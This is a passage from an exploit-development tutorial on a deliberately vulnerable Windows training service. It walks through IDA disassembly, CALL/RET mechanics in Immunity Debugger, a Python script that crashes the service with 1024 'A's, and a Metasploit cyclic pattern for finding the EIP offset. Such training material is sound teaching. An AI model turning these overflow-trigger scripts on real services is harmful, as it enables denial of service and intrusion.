on the other hand, takes this process one step further and turns 411 | the disassembly in to a high-level programming language representation, such as 412 | C. 413 | 414 | IDA, in and of itself, is not a decompiler. It is a disassembler. Hex-Rays 415 | makes a fantastic decompiler plugin for IDA that is licensed separately, but as 416 | a general rule, don't expect to get high-level C-like code out of a 417 | disassembler. Decompilation is an entirely different beast. 418 | 419 | IDA does a great job of disassembling almost anything you throw at it (and if 420 | it doesn't, you can write a processor module for the format you're interested 421 | in) and presents the disassembly in either a linear view or what is known as 422 | the graph view, which shows code as discrete "blocks" with connections between 423 | them. It chews through the strings in a file and makes it easy to jump to the 424 | locations in which they are referenced, makes it possible to annotate the code 425 | or rename functions/variables as you see fit, makes sense of symbol files (more 426 | on symbols shortly), has a plugin engine, and much more. 427 | 428 | The free version of IDA Pro comes with some limitations (as of the time of 429 | writing): 430 | 431 | * Non-commercial use only 432 | * Lacks all features introduced in IDA > v7.0 433 | * Lacks support for many processors and file formats (however, it does support 64-bit files now) 434 | * Lacks the debugging feature 435 | * Lacks support 436 | 437 | The paid version of IDA is quite expensive, but well worth the money if you 438 | have the need for a disassembler. The free version will work just fine for our 439 | needs against `dostackbufferoverflowgood.exe` even if it is limited. 440 | 441 | Alternatives to IDA include: 442 | 443 | * Hopper - commercial 444 | * Binary Ninja - commercial 445 | * radare2 - free software 446 | * The Online Disassembler 447 | * Ghidra 448 | 449 | Install IDA Free from 450 | (unless 451 | you have IDA Pro, you lucky duck) 452 | 453 | Launch IDA and load `dostackbufferoverflowgood.exe` 454 | 455 | When it asks for how it should handle the file, just click `OK`. 456 | 457 | ![IDA loading the file](dostackbufferoverflowgood_images/ida_loadfile.png) 458 | 459 | IDA will then prompt you, asking if it should try to load a PDB file from the 460 | local symbol store or the Microsoft Symbol Server. Click `"No"`. The PDB file 461 | for `dostackbufferoverflowgood.exe` is not in either of these locations. 462 | 463 | IDA will start analysing the file, trying to make sense of its components bit 464 | by bit. While it churns away, you should have it load the PDB file which is 465 | available at 466 | 467 | Make sure `dostackbufferoverflowgood.pdb` is in the same directory as 468 | `dostackbufferoverflow.exe` and click `File -> Load File -> PDB File`. 469 | 470 | \framebox{ 471 | \parbox{\textwidth}{ 472 | \textbf{Pro tip}: PDB files, which are Windows Symbol files, give a 473 | disassembler more context (or "symbols") regarding an executable. This 474 | allows it to fill in things like function names which are otherwise not 475 | stored in a compiled executable. Symbols are generated by a compiler at 476 | compile-time. If a software vendor doesn't publish a binary's symbols in a 477 | PDB file or host them on a symbol server, you're out of luck and will have 478 | to slog through your reverse engineering with a little less context. Note 479 | that symbols aren't unique to Windows executables, but using PDB files as a 480 | way of storing them is unique to Windows. 481 | } 482 | } 483 | 484 | Once IDA has slurped up the PDB file (it should say `"PDB: total 485 | symbols loaded"` in the log window) and finished analysing the executable (it 486 | should say `"The initial autoanalysis has been finished"` in the log window) 487 | it's time to dig in. 488 | 489 | In the Functions window, locate `doResponse` and double-click on it. 490 | 491 | ![Double-clicking on `doResponse()` in the Functions 492 | window](dostackbufferoverflowgood_images/ida_doubleclick_do_response.png) 493 | 494 | This will take us to the disassembly of the `doResponse()` function, within 495 | which we know our vulnerable `sprintf()` call is. 496 | 497 | ![A very zoomed out disassembly of 498 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_disassembly.png) 499 | 500 | \newpage 501 | 502 | At the top of the function we see its function prologue: 503 | 504 | * `ESP`/`EBP` dance; and 505 | * The reserving of stack space for function local variables. 506 | 507 | We then see the `PUSH`ing of three arguments to `sprintf()` followed by the 508 | `CALL` to `sprintf()`. Function `CALL` paramaterisation is out of the scope of 509 | this tutorial, but an experienced reverse engineer would determine: 510 | 511 | 1. The pointer to the output buffer is a pointer to the function local variable that IDA has labeled `buf` 512 | 2. The pointer to the format string is a pointer to the string `"Hello %s!!!\n"` 513 | 3. A pointer to a value to be used in place of the format string "format specifier", `"%s"`, is a pointer to the second argument of `doResponse()`. 514 | 515 | This matches up perfectly with the C source code: 516 | 517 | ```{.c .numberLines} 518 | ... 519 | int __cdecl doResponse(SOCKET clientSocket, char *clientName) { 520 | char response[128]; 521 | 522 | // Build response 523 | sprintf(response, "Hello %s!!!\n", clientName); 524 | ... 525 | ``` 526 | 527 | ![Disassembly of the beginning of 528 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_disassembly_head.png) 529 | 530 | \newpage 531 | 532 | Scroll down to the bottom of the function. Here we'll find the function 533 | epilogue, which winds up the stack frame of the function and `RET`urns control 534 | to the caller. We'll ignore the idea of a return value for now as it's out of 535 | the scope of this tutorial. 536 | 537 | ![Disassembly of the end of 538 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_disassembly_tail.png) 539 | 540 | We want to make note of the address of this function epilogue so that we can 541 | examine its workings in Immunity. Conveniently for us, it forms the entirety of 542 | what IDA considers to be a "block", and so its address is displayed for us as 543 | being `0x08041794`. 544 | 545 | The last thing we want to do is grab the address of the `CALL doResponse` 546 | instruction that we expect to be in `handleConnection()`. We could browse to 547 | the `handleConnection()` function using the Functions window, but to try 548 | something different, let's use the xrefs (Cross references) feature of IDA to 549 | hop over to where `handleConnection()` is referenced. 550 | 551 | Click on any mention of `doResponse` in the disassembly and press "`x`". This 552 | will cause IDA to list the xrefs for the `doResponse()` function. As expected, 553 | the only place it is referenced is in a `CALL` from `handleConnection()`. Click 554 | `OK` to head to that cross-reference. 555 | 556 | ![Xrefs to 557 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_xrefs.png) 558 | 559 | This will take us to `handleConnection()`'s `CALL` to `doResponse()`. Looking 560 | at IDA's "Graph overview" window, we see where in the mess that is 561 | `handleConnection()` the `CALL` is. Aren't you glad we used the xrefs feature 562 | rather than going hunting! 563 | 564 | ![`handleConnection()`'s graph 565 | overview](dostackbufferoverflowgood_images/ida_handleconnection_graph_overview.png) 566 | 567 | \newpage 568 | 569 | We want to get the address of the `CALL` to `doResponse()` so we can observe 570 | its behaviour in Immunity, but the graph view of the `CALL` doesn't display the 571 | address of the instruction. 572 | 573 | ![`handleConnection()`'s `CALL` to 574 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_call.png) 575 | 576 | Highlight the instruction and press `Spacebar` to head to the linear 577 | disassembly view where the address of each instruction is listed. Here, we can 578 | see the exact address of the `CALL` instruction is `0x0804168D` 579 | 580 | ![Linear view of `handleConnection()`'s `CALL` to 581 | `doResponse()`](dostackbufferoverflowgood_images/ida_doresponse_call_linear.png) 582 | 583 | Notice how we never paid much attention to the address of `doResponse()`'s 584 | function prologue. Even though we'll want to step through `doResponse()`'s 585 | function prologue using Immunity in the next chapter, we know that the prologue 586 | will be executed right after the `CALL` to `doResponse()`. By setting a 587 | breakpoint on the `CALL` and stepping through it, we'll find ourselves at the 588 | function prologue. 589 | 590 | \newpage 591 | # Explore function `CALL`/`RET`urn mechanics 592 | 593 | Armed with the location of the `CALL` to `doResponse()` and the location of its 594 | function epilogue, let's explore the workings of function `CALL`/`RET`urn 595 | mechanics using Immunity Debugger. We'll do this using breakpoints. 596 | 597 | Breakpoints, if you're not familiar with them, are points in the program at 598 | which you want execution to "break". In this sense, to break is to pause 599 | execution. This would allow you to inspect the state of the program within the 600 | debugger, perhaps tell the program to close altogether, perhaps change the 601 | state of the program (e.g. modify the contents of registers or even the 602 | program's code), and then let it continue executing. 603 | 604 | By setting a breakpoint on our two locations of interest (the location at which 605 | `handleConnection()` calls `doResponse()`, and `doResponse()`'s function 606 | epilogue where it winds its business up) we will be able to see what the 607 | program does, step-by-step, at these two points of execution. 608 | 609 | Set a breakpoint on our two locations: 610 | 611 | * The `CALL` to `doResponse()` at `0x0804168D` 612 | * The function epilogue of `doResponse()` at `0x08041794` 613 | 614 | There are several ways to set breakpoints in Immunity, and you can do so while 615 | the program is either running or paused. 616 | 617 | Breakpoints can be set by right-clicking on an assembly instruction in the CPU 618 | window's disassembly pane then going to `Breakpoint -> Toggle` (hotkey `F2`). 619 | This is handy when you're browsing through the code and want to set a 620 | breakpoint on what you're looking at. To navigate the assembly pane to a 621 | particular location of interest, you can right-click on it then go to `"Go 622 | to"`, `"Expression"` (hotkey `Ctrl-G`). Navigating to the two addresses of 623 | interest, taking a look to make sure they look correct, then setting 624 | breakpoints would be a fine way to go about it. 625 | 626 | If you're lazy and impatient and know exactly which addresses you want to set 627 | breakpoints on dammit, you can use the command box at the bottom of Immunity to 628 | quickly add a breakpoint. Simple type `"b
"` then press enter for each 629 | breakpoint you want to set. 630 | 631 | Open the Breakpoints window by going to `View -> Breakpoints` (hotkey `Alt-B`) 632 | to confirm that both breakpoints have been set. 633 | 634 | ![Viewing our breakpoints in the Breakpoints window 635 | (`Alt-B`)](dostackbufferoverflowgood_images/immdbg_breakpoints.png) 636 | 637 | If the process isn't already running (you can check if it is in the bottom 638 | right-hand corner of Immunity) then whack the `"Run program"` button or press 639 | `F9`. 640 | 641 | Run your script from earlier (The one that connects and sends `"Python 642 | Script\n"` down the line). In the process of handling the message within 643 | `handleConnection()`, the program will `CALL` `doResponse()`, the first of our 644 | two breakpoints will be hit, and Immunity will tell us that the program is now 645 | Paused. 646 | 647 | ![A hit on the `CALL doResponse()` 648 | breakpoint](dostackbufferoverflowgood_images/immdbg_breakpoint_call.png) 649 | 650 | \newpage 651 | 652 | **Function `CALL` mechanics** 653 | 654 | When a `CALL` is executed, it does two things: 655 | 656 | * It `PUSH`es the address of the next instruction to the stack (so it can later be `RET`urned to by the `CALL`ed function) 657 | * It modifies `EIP` so that execution jumps to the function being `CALL`ed 658 | 659 | Before we continue, take a peek at the current state of the stack within 660 | Immunity. It's in the CPU window, in a pane in the bottom right-hand corner. 661 | Note that the address that the stack is at on your machine might be different 662 | to mine, and the contents of your stack might be slightly different to mine. 663 | The concepts and mechanics of the `CALL` and, later on, the `RET`, will still 664 | be the same. 665 | 666 | `ESP` points to the top of the stack, which for me is at `0x01F819F8`, and the 667 | top of the stack currently looks like this on my machine: 668 | 669 | ``` 670 | --------------------------- STACK ---------------------------- 671 | ESP -> 004C19F8 00000078 x... |Arg1 = 00000078 672 | 004C19FC 004C1A00 ..L. \Arg2 = 004C1A00 "Python Script" 673 | .... 674 | ---------------------------------------------------------------- 675 | ``` 676 | 677 | `EIP` points to the instruction that is about to be executed, `"CALL 678 | doResponse()"`, at `0x0804168D`. This is visible in the disassembly view of 679 | Immunity's CPU window (top left-hand corner). Take note that the instruction 680 | that follows it, `"ADD ESP, 8"`, is at `0x08041692`: 681 | 682 | ``` 683 | ---------------------------- CODE ---------------------------- 684 | .... 685 | EIP -> 0804168D . E8 5E000000 CALL dostackb.doResponse 686 | 08041692 . 83C4 08 ADD ESP,8 687 | .... 688 | ---------------------------------------------------------------- 689 | ``` 690 | 691 | From here, we can use the "Step into" (hotkey `F7`) operation in Immunity to 692 | allow execution to progress just one instruction, during which the `CALL` will 693 | be executed and control will pass to the `doResponse()` function. When we do, 694 | we'll notice some changes are reflected in Immunity. 695 | 696 | First of all, we see changes regarding the stack. `ESP` used to point to the 697 | top of the stack at `0x01F819F8` but now it points to `0x01F819F4`, an address 698 | that is four bytes less than the old top of the stack. This demonstrates that, 699 | on the x86 architecture, the stack grows downwards toward lower addresses. 700 | 701 | The stack grew (towards a lower memory address) to make room for the address of 702 | the instruction after the `CALL`, `0x08041692`, to be pushed to the stack. The 703 | top of my stack now looks like this: 704 | 705 | ``` 706 | --------------------------- STACK ---------------------------- 707 | ESP -> 004C19F4 08041692 ’... RETURN to dostackb.08041692 708 | 004C19F8 00000078 x... |Arg1 = 00000078 709 | 004C19FC 004C1A00 ..L. \Arg2 = 004C1A00 "Python Script" 710 | .... 711 | ---------------------------------------------------------------- 712 | ``` 713 | 714 | See the difference that the `CALL` has made to the stack? 715 | 716 | The other change is that `EIP` now points to the first instruction in 717 | `doResponse()` at `0x080416F0` (a `"PUSH EBP"`) and the disassembly view has 718 | flicked across to the new location in the program: 719 | 720 | ``` 721 | ---------------------------- CODE ---------------------------- 722 | .... 723 | 080416F1 |. 8BEC MOV EBP,ESP 724 | 080416F3 |. 81EC 94000000 SUB ESP,94 725 | .... 726 | ---------------------------------------------------------------- 727 | ``` 728 | 729 | We are now in the function prologue of `doResponse()`, a sequence of 730 | instructions that more or less appears at the top of every function: 731 | 732 | * `"PUSH EBP"` to save the current `EBP` value on the stack; 733 | * `"MOV EBP,ESP"` to copy the current value of `ESP` to `EBP`, setting up a new `EBP` base pointer value; 734 | * `"SUB ESP,"` to make room on the stack for function local variables. 735 | 736 | \framebox{ 737 | \parbox{\textwidth}{ 738 | \textbf{Pro tip}: Some compilers will use the ENTER instruction instead of 739 | these three instructions. Be on the lookout. 740 | } 741 | } 742 | 743 | Step into these three instructions one-by-one (`F7`) and watch the stack change 744 | at each stage. 745 | 746 | After executing the `"SUB ESP,94"` my stack now looks like this: 747 | 748 | ``` 749 | --------------------------- STACK ---------------------------- 750 | ESP -> 004C195C FFFFFFFE þÿÿÿ / 751 | 004C1960 73299A18 .š)s | 752 | 004C1964 73299C37 7œ)s | 753 | <--- SNIP ---> | Function local variable space 754 | 004C19E4 00000017 .... | 755 | 004C19E8 004C1974 t.L. | 756 | 004C19EC 005737D0 Ð7W. \ 757 | 004C19F0 004CFF4C LÿL. Saved EBP 758 | 004C19F4 08041692 ’... RETURN to dostackb.08041692 759 | 004C19F8 00000078 x... |Arg1 = 00000078 760 | 004C19FC 004C1A00 ..L. \Arg2 = 004C1A00 "Python Script" 761 | .... 762 | ---------------------------------------------------------------- 763 | ``` 764 | 765 | By subtracting `0x94` from `ESP`, the stack has expanded upwards. The CPU has 766 | effectively "made room" on the stack between `0x0048195C` and `0x004819F0` for 767 | the storage of local variables belonging to the `doResponse()` function. This 768 | is stack space in which the function can temporarily store the value of local 769 | variables in for the lifetime of its execution. 770 | 771 | We see that this address range already has some data in it. This is probably 772 | left-over junk from the previous execution of functions within the program - 773 | that is, what you're seeing are the remnants of old, no longer used function 774 | local variables (RIP in peace) and can be ignored. 775 | 776 | This function local variable storage space is where `doResponse()` will hold 777 | `response`, the vulnerable stack buffer that `sprintf()` allows us to overflow. 778 | 779 | This brings us to the end the prologue of `doResponse()`. 780 | 781 | You should restart the process within Immunity, make sure your breakpoints are 782 | still there (`Alt-B`), and run your Python script again. Do this a few times, 783 | watching what happens to `EIP`, `ESP` and the stack at each step of the 784 | process. See if you can predict what the effect of each instruction will be 785 | before you step into it. Some patience now, until you're comfortable with the 786 | way in which processes execute and functions are `CALL`ed, will pay huge 787 | dividends later on. 788 | 789 | **Function `RET`urn mechanics** 790 | 791 | Next up is stepping through and understanding the process by which a function 792 | `RET`urns control to its caller. 793 | 794 | Remember how the `CALL` pushed the address of the instruction following the 795 | `CALL` to the stack? This is known as the Saved Return Pointer, and it's the 796 | function epilogue's job to "wind up" the function's stack frame, restore the 797 | saved `EBP` value, then `RET`urn to the Saved Return Pointer. 798 | 799 | Function epilogues generally consist of the following sequence of instructions: 800 | 801 | * `MOV ESP,EBP` to pivot the stack "back down" to the saved `EBP` and Saved Return Pointer area; 802 | * `POP EBP` to restore the saved `EBP` value into the `EBP` register; 803 | * `RET` to return to the Saved Return Pointer. 804 | 805 | \framebox{ 806 | \parbox{\textwidth}{ 807 | \textbf{Pro tip}: Some compilers will use the LEAVE instruction instead of 808 | these three instructions. 809 | } 810 | } 811 | 812 | You should already have a breakpoint set on `doResponse()`'s function epilogue 813 | at `0x08041794`. To make sure we're on the same page, restart the process 814 | within Immunity, run your Python script, see that the breakpoint on the `CALL` 815 | to `doResponse()` gets hit, then press `F9` to continue. The breakpoint on 816 | `doResponse()`'s function epilogue should be hit. 817 | 818 | At this time, the disassembly view will show the following code: 819 | 820 | ``` 821 | ---------------------------- CODE ---------------------------- 822 | .... 823 | EIP -> 08041794 |> 8BE5 MOV ESP,EBP 824 | 08041796 |. 5D POP EBP 825 | 08041797 \. C3 RETN 826 | .... 827 | ---------------------------------------------------------------- 828 | ``` 829 | 830 | \newpage 831 | 832 | And the stack, on my machine, looks like the following: 833 | 834 | ``` 835 | --------------------------- STACK ---------------------------- 836 | ESP -> 004C195C 6C6C6548 Hell / / 837 | 004C1960 7950206F o Py | | 838 | 004C1964 6E6F6874 thon | | "response" local variable 839 | 004C1968 72635320 Scr | | 840 | 004C196C 21747069 ipt! | | 841 | 004C1970 000A2121 !!.. | \ 842 | 004C1974 004C1994 ”.L. | 843 | 004C1978 004C19A8 ¨.L. | Function local variable space 844 | 004C197C 004C19A0  .L. | 845 | <--- SNIP ---> | 846 | 004C19E4 00000017 .... | 847 | 004C19E8 004C1974 t.L. | 848 | 004C19EC 005737D0 Ð7W. \ 849 | 004C19F0 004CFF4C LÿL. Saved EBP 850 | 004C19F4 08041692 ’... RETURN to dostackb.08041692 851 | 004C19F8 00000078 x... |Arg1 = 00000078 852 | 004C19FC 004C1A00 ..L. \Arg2 = 004C1A00 "Python Script" 853 | .... 854 | ---------------------------------------------------------------- 855 | ``` 856 | 857 | We can see that the function has done its job. The `sprintf()` has built our 858 | `response` of `"Hello Python Script!!!\n"` and stored it on the stack. 859 | 860 | During the function prologue, the `"MOV EBP,ESP"` function copied the value of 861 | `ESP` at that time to the `EBP` register. Now, the epilogue is wanting to do 862 | the opposite, `"MOV ESP,EBP"`, which will have the effect of copying the value 863 | of `ESP` during the prologue back to `ESP`. In doing so, the stack will be 864 | "unwound", bringing the top of the stack back down to where it was during the 865 | function prologue. 866 | 867 | \newpage 868 | 869 | Press `F7` (Step into) to execute this instruction and watch the stack change 870 | drastically: 871 | 872 | ``` 873 | --------------------------- STACK ---------------------------- 874 | 004C195C 6C6C6548 Hell / / 875 | 004C1960 7950206F o Py | | 876 | 004C1964 6E6F6874 thon | | "response" local variable 877 | 004C1968 72635320 Scr | | 878 | 004C196C 21747069 ipt! | | 879 | 004C1970 000A2121 !!.. | \ 880 | 004C1974 004C1994 ”.L. | 881 | 004C1978 004C19A8 ¨.L. | Function local variable space 882 | 004C197C 004C19A0  .L. | 883 | <--- SNIP ---> | 884 | 004C19E4 00000017 .... | 885 | 004C19E8 004C1974 t.L. | 886 | 004C19EC 005737D0 Ð7W. \ 887 | ESP -> 004C19F0 004CFF4C LÿL. Saved EBP 888 | 004C19F4 08041692 ’... RETURN to dostackb.08041692 889 | 004C19F8 00000078 x... |Arg1 = 00000078 890 | 004C19FC 004C1A00 ..L. \Arg2 = 004C1A00 "Python Script" 891 | .... 892 | ---------------------------------------------------------------- 893 | ``` 894 | 895 | Immunity's view of the stack will appear to jump down to the new top of the 896 | stack, but if you scroll up you'll see the ASCII string `"Hello Python 897 | Script!!!!\n"` at the address at which `ESP` was previously pointing. 898 | 899 | `EIP` will now be pointing at the `"POP EBP"` instruction: 900 | 901 | ``` 902 | ---------------------------- CODE ---------------------------- 903 | .... 904 | 08041794 |> 8BE5 MOV ESP,EBP 905 | EIP -> 08041796 |. 5D POP EBP 906 | 08041797 \. C3 RETN 907 | .... 908 | ``` 909 | 910 | This instruction will restore the Saved `EBP` value (at which `ESP` is now 911 | pointing) in to the `EBP` register. 912 | 913 | Stepping into this instruction (`F7`) will have `ESP` now point at 914 | the Saved Return Pointer: 915 | 916 | ``` 917 | --------------------------- STACK ---------------------------- 918 | 004C19F0 004CFF4C LÿL. Saved EBP 919 | ESP -> 004C19F4 08041692 ’... RETURN to dostackb.08041692 920 | .... 921 | ---------------------------------------------------------------- 922 | ``` 923 | 924 | \newpage 925 | 926 | And `EIP` will be pointing at `RET`, which is the end of the function epilogue 927 | and the end of the `doResponse()` function: 928 | 929 | ``` 930 | ---------------------------- CODE ---------------------------- 931 | .... 932 | 08041794 |> 8BE5 MOV ESP,EBP 933 | 08041796 |. 5D POP EBP 934 | EIP -> 08041797 \. C3 RETN 935 | .... 936 | ``` 937 | 938 | `RET` causes execution to jump to the address stored on the stack at which 939 | `ESP` points, which should be the Saved Return Pointer that was put there by 940 | the `CALL` to the function. Pressing `F7` will execute this `RET` and control 941 | will `RET`urn to the address after the `CALL` to `doResponse()`. The 942 | disassembly view will flick across to this part of the program: 943 | 944 | ``` 945 | ---------------------------- CODE ---------------------------- 946 | .... 947 | 0804168D . E8 5E000000 CALL dostackb.doResponse 948 | EIP -> 08041692 . 83C4 08 ADD ESP,8 949 | .... 950 | ---------------------------------------------------------------- 951 | ``` 952 | 953 | The function has been `RET`urned from, bringing us to the end of our 954 | exploration of function `RET`urn mechanics. 955 | 956 | As you did with function `CALL` mechanics, you should restart the process 957 | within Immunity and go through this a few times. Take your time and step 958 | through the function `RET`urn mechanics line by line, trying to predict what 959 | will happen to `EIP`, `ESP` and the stack at each step. Once you're comfortable 960 | with what you're seeing and why you're seeing it, it's time to move on to 961 | "triggering" the bug. 962 | 963 | \newpage 964 | # Trigger the bug 965 | 966 | We know there's a bug regarding the `sprintf()`'ing of data to `doResponse()`'s 967 | local variable named "`response`". Let's chuck a bunch of data at the service 968 | to see what happens. This is what's known as "triggering" the bug, and often 969 | results in a DoS exploit. 970 | 971 | It's up to you if you keep your breakpoints enabled or disabled for this. You 972 | might want to step through the triggering of the bug line-by-line once you're 973 | inside `doResponse()` using `F8` (this is the Step Over command, it will 974 | prevent you from falling down the rabbit-hole of `CALL`s that the function 975 | performs) to watch the Saved Return Pointer be overwritten and then returned 976 | to. If you would prefer the breakpoints be disabled, open the Breakpoints 977 | window (`Alt-B`) and right-click on each breakpoint to disable it. 978 | 979 | Modify your Python script to send 1024 `A`'s to the service, followed by a 980 | newline. Note that I've chosen to remove the printing of what I'm sending for 981 | brevity's sake, as well as the `recv()` call and printing of what I'd have 982 | received. Receiving the response is not actually needed to trigger and exploit 983 | the bug. 984 | 985 | ```{.python .numberLines} 986 | #!/usr/bin/env python2 987 | import socket 988 | 989 | RHOST = "172.17.24.132" 990 | RPORT = 31337 991 | 992 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 993 | s.connect((RHOST, RPORT)) 994 | 995 | buf = "" 996 | buf += "A"*1024 997 | buf += "\n" 998 | 999 | s.send(buf) 1000 | ``` 1001 | 1002 | --- 1003 | 1004 | Running this: 1005 | 1006 | ``` 1007 | % ./exploit.py 1008 | ``` 1009 | 1010 | We get a crash in Immunity! 1011 | 1012 | ![Crashy crashy. `EIP` = `0x41414141` 1013 | ("AAAA")](dostackbufferoverflowgood_images/immdbg_0x41414141.png) 1014 | 1015 | Note the status bar informing us of an Access Violation when executing 1016 | `0x41414141`, and the presence of `0x41414141` in the `EIP` register. `0x41` is 1017 | the hexadecimal value of the ASCII character `"A"`. We can be pretty certain 1018 | this is due to having overwritten the Saved Return Pointer with four of our 1019 | 1024 `A`'s. If you want to, you can confirm this by keeping the breakpoints 1020 | from earlier and stepping over each instruction in the function all the way 1021 | through to the return from `doResponse()`. 1022 | 1023 | Be sure to restart (`Ctrl-F2`) the program before trying to connect to it again 1024 | then pound `F9` to get it up and running. 1025 | 1026 | !["Restart Program" 1027 | button (hotkey `Ctrl-F2`)](dostackbufferoverflowgood_images/immdbg_restartprocess.png) 1028 | 1029 | \newpage 1030 | # Discover offsets 1031 | 1032 | We have the ability to smash the Saved Return Pointer and put `"AAAA"` in to 1033 | `EIP`, but we need to know exactly how far in to our trove of `A`'s the four 1034 | bytes that ends up smashing the Saved Return Pointer is. The easiest way to do 1035 | this is using Metasploit's `pattern_create.rb`. If you're running Kali this 1036 | should be at either: 1037 | 1038 | * `/usr/share/metasploit-framework/tools/pattern_create.rb`; or 1039 | * `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb` 1040 | 1041 | Depending on how up to date your Kali's `metasploit-framework` package is. 1042 | 1043 | If you're running Metasploit from a copy of Rapid7's git repository (as I do), 1044 | it's in `tools/exploits/` 1045 | 1046 | Use `pattern_create.rb` to generate 1024 characters of cyclic pattern. 1047 | 1048 | ``` 1049 | % ~/opt/metasploit-framework/tools/exploit/pattern_create.rb -l 1024 1050 | 1051 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1 1052 | Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3 1053 | Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5 1054 | Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7 1055 | Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9 1056 | Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1 1057 | An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3 1058 | Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5 1059 | Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7 1060 | At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9 1061 | Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1 1062 | Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3 1063 | Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5 1064 | Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7 1065 | Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9 1066 | Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B 1067 | ``` 1068 | 1069 | This is a handy dandy sequence of characters in which every "chunk" of four 1070 | sequential characters is unique. We can use it instead of our 1024 `A`'s and 1071 | check to see which four of them ends up in `EIP`. 1072 | 1073 | \newpage 1074 | 1075 | Updating our Python script to include the pattern: 1076 | 1077 | ```{.python .numberLines} 1078 | #!/usr/bin/env python2 1079 | import socket 1080 | 1081 | RHOST = "172.17.24.132" 1082 | RPORT = 31337 1083 | 1084 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1085 | s.connect((RHOST, RPORT)) 1086 | 1087 | buf = "" 1088 | buf += ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab" 1089 | "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8A" 1090 | "d9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9" 1091 | "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai" 1092 | "0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0A" 1093 | "k1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1" 1094 | "Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao" 1095 | "2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A" 1096 | "q3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3" 1097 | "As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au" 1098 | "4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4A" 1099 | "w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5" 1100 | "Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba" 1101 | "6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6B" 1102 | "c7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7" 1103 | "Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg" 1104 | "8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B") 1105 | buf += "\n" 1106 | 1107 